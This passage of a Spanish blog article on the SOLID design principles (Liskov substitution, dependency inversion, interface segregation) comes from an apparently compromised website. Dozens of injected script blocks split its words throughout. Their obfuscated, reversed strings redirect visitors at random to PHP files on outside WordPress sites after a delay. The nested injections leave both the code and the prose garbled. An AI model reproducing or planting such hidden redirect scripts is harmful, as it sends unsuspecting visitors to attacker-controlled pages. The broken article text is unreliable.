El principio de sustitución de Liskov implica que las clases derivadas deberían poder ser sustituidas por sus clases base. Es decir, es en cier<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to modo una extensión del principio anterior: mientras que OCP promueve la herencia de clases base, LSP promueve que la herencia se haga de forma transparente, es decir, que heredar es bueno pero no hay que olvidar las raíces. Es decir, no implementemos un mé<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todo en una clase heredada que no esté en la clase base porque romperemos este principio.</p>
<p>De OCP y LSP se deduce que las clases base (abstractas o no) modelan el aspec<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to general y las clases heredadas modelan el comportamien<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to local.</p>
<p><strong>DIP: Dependency Inversion Principle:</strong><br />
Básicamente, el principio de inversión de dependencia promueve que hay que depender de abstracciones, no de concreciones. Dicho de forma más compleja, los módulos de más al<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to nivel no deben depender de los de más bajo nivel sino que ambos deben depender de abstracciones. Y a su vez, las abstracciones no deben depender de los detalles sino al contrario.</p>
<p>En este caso, el uso de interfaces resulta muy beneficioso y un framework de inversión de control (<a href="http://www.castleproject.org/projects/windsor/">Castle Windsor</a>, <a href="http://structuremap.sourceforge.net/" class="broken_link">StructureMap</a>, por citar algunos) van a hacer que resulte más obvia la necesidad de abstracciones. Además, el testado unitario resulta mucho más sencillo ya que la independencia entre los distin<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos módulos es muy elevada.</p>
<p><strong>ISP: Interface Segregation Principle:</strong><br />
Este principio de segregación de interfaces indica que no se debe hacer depender las clases de interfaces que no necesitan y que debe haber granularidad en las interfaces para dotar de aspec<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos específicos a las distintas implementaciones.</p>
<p>En general, en Java y C# se pueden implementar tan<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos interfaces como se quiera por lo que es sencillo llevar a cabo este principio. Las interfaces son la forma más práctica de modelar las clases y dotarlas de aspec<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos particulares así como incluso tratarlas de diferente modo según las interfaces implementadas.</p>
<p>Y es<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos son básicamente los principios SOLID que aunque llevan ya muchos años siguen siendo vigentes y ayudan a desarrollar un código más reusable, mantenible y claro. Además, con las herramientas actuales de refac<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>torización es muy fácil extraer interfaces y clases abstractas de las ya existentes sin tener que revisar cien<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos de líneas de código. Y cómo no, tener un buen conjun<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to de tests unitarios ayudará a que cualquier refac<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return 